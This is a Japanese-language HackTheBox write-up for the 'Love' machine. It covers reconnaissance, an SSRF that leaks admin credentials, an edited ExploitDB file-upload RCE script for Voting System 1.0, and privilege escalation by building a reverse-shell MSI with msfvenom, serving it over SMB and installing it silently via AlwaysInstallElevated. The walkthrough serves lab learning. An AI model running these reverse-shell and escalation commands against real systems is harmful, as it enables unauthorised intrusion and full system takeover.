【HackTheBox】Love Writeup
Recon
nmap
┌──(kali㉿kali)-[~/Downloads]
└─$ nmap -Pn 10.10.10.239 -sVC -p 80,443,445,3306,5000
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1j PHP/7.3.27)
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-title: Voting System using PHP
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1j PHP/7.3.27
443/tcp open ssl/http Apache httpd 2.4.46 (OpenSSL/1.1.1j PHP/7.3.27)
|_http-title: 403 Forbidden
|_ssl-date: TLS randomness does not represent time
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1j PHP/7.3.27
| ssl-cert: Subject: commonName=staging.love.htb/organizationName=ValentineCorp/stateOrProvinceName=m/countryName=in
| Not valid before: 2021-01-18T14:00:16
|_Not valid after: 2022-01-18T14:00:16
| tls-alpn:
|_ http/1.1
445/tcp open microsoft-ds Windows 10 Pro 19042 microsoft-ds (workgroup: WORKGROUP)
3306/tcp open mysql?
| fingerprint-strings:
| NULL:
|_ Host '10.10.14.7' is not allowed to connect to this MariaDB server
5000/tcp open http Apache httpd 2.4.46 (OpenSSL/1.1.1j PHP/7.3.27)
|_http-title: 403 Forbidden
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1j PHP/7.3.27
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port3306-TCP:V=7.93%I=7%D=2/1%Time=65BBB44D%P=x86_64-pc-linux-gnu%r(NUL
SF:L,49,"E\0\0\x01\xffj\x04Host\x20'10\.10\.14\.7'\x20is\x20not\x20allowed
SF:\x20to\x20connect\x20to\x20this\x20MariaDB\x20server");
Service Info: Hosts: www.example.com, LOVE, www.love.htb; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-time:
| date: 2024-02-01T15:33:24
|_ start_date: N/A
|_clock-skew: mean: 3h03m06s, deviation: 4h37m11s, median: 23m04s
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
| 311:
|_ Message signing enabled but not required
| smb-os-discovery:
| OS: Windows 10 Pro 19042 (Windows 10 Pro 6.3)
| OS CPE: cpe:/o:microsoft:windows_10::-
| Computer name: Love
| NetBIOS computer name: LOVE\x00
| Workgroup: WORKGROUP\x00
|_ System time: 2024-02-01T07:33:28-08:00
open portを-sVC
でスキャンしました。3つのウェブサーバーとsmbとsqlがありました。
port443のssl certからドメイン名はstaging.love.htb
であることがわかりました。love.htb
とstaging.love.htb
を/etc/hosts
に入れます。
web servers (port 80,443,5000)
port 443と5000は403 Forbiddenでした。
port 80
love.htb
トップページにログインフォームがありました。
gobusterでadminのログインページを発見しました。
staging.love.htb
staging subdomainに違うサイトがありました。トップページのサインアップフォームは機能していないです。
beta.phpに行くと、file scannerのデモがありました。attack box上のファイルを指定してみると、ファイルのコンテンツが表示されました。
burpでリクエストを見るとこんな感じです。
command injectionとLFIを試しましたが、上手くいかなかったです。
localhostをリクエストしてみたら、love.htb
のページが出てきました!これで403になっていたページがみれるかもしれないですね。
見れなかったport443と5000もみてみます。port 5000にadminの認証情報がありました。
voting system exploit
ではadmin:@LoveIsInTheAir!!!
でlove.htb/admin
にログインします。
このvoting systemは既存のサービスっぽいので、exploitを検索してみます。
votingsystem sourcecodester
で検索したら、exploit dbのページが出てきました。ファイルアップロードの脆弱性です。
searchsploitで検索して、コピーします。
┌──(kali㉿kali)-[~]
└─$ searchsploit 49445
------------------------------------------------- ------------------------
Exploit Title | Path
------------------------------------------------- ------------------------
Voting System 1.0 - File Upload RCE (Authenticat | php/webapps/49445.py
------------------------------------------------- ------------------------
searchsploit -m php/webapps/49445.py
コードの中のURLを直します。IP、credentailsなども設定します。
<SNIP>
import requests
# --- Edit your settings here ----
IP = "love.htb" # Website's URL
USERNAME = "admin" #Auth username
PASSWORD = "@LoveIsInTheAir!!!!" # Auth Password
REV_IP = "10.10.14.7" # Reverse shell IP
REV_PORT = "9001" # Reverse port
# --------------------------------
INDEX_PAGE = f"http://{IP}/admin/index.php"
LOGIN_URL = f"http://{IP}/admin/index.php"
VOTE_URL = f"http://{IP}/admin/voters_add.php"
CALL_SHELL = f"http://{IP}/images/shell.php"
payload = """
<SNIP>
実行したらシェルが取れました。ユーザーはphoebeです。
┌──(kali㉿kali)-[~]
└─$ nc -lvnp 9001
C:\xampp\htdocs\omrs\images>whoami
whoami
love\phoebe
Shell as phoebe
winpeas
Winpeasを実行するとAlwaysInstallElevated
が有効になっていることがわかりました。
PS C:\ProgramData> .\winPEASx64.exe quiet systeminfo
<SNIP>
���������� Checking AlwaysInstallElevated
� https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#alwaysinstallelevated
AlwaysInstallElevated set to 1 in HKLM!
AlwaysInstallElevated set to 1 in HKCU!
直接コマンドで確認することもできます。
PS C:\ProgramData> reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\Installer
AlwaysInstallElevated REG_DWORD 0x1
PS C:\ProgramData> reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer
AlwaysInstallElevated REG_DWORD 0x1
abuse AlwaysInstallElevated privileges
この設定が有効だと、msiファイルはSYSTEM権限でインストール/実行されます。
msfvenomでrev shellのmsiファイルを作って、target boxにアップロードして実行します。
msfvenom -p windows/shell_reverse_tcp lhost=10.10.14.7 lport=1337 -f msi > aie.msi
impacket-smbserver share . -smb2support
PS C:\ProgramData> copy \\10.10.14.7\share\aie.msi
PS C:\ProgramData> msiexec /i C:\ProgramData\aie.msi /quiet /qn /norestart
Shell as system
listenerにsystemのシェルが来ました。
┌──(kali㉿kali)-[~/love]
└─$ nc -lvnp 1337
Microsoft Windows [Version 10.0.19042.867]
(c) 2020 Microsoft Corporation. All rights reserved.
C:\WINDOWS\system32>whoami
whoami
nt authority\system
C:\WINDOWS\system32>type C:\Users\Administrator\Desktop\root.txt
rootフラグが取れました!
Memo
HTB AcademyのWindows privilege escalationモジュール、おすすめです。
Discussion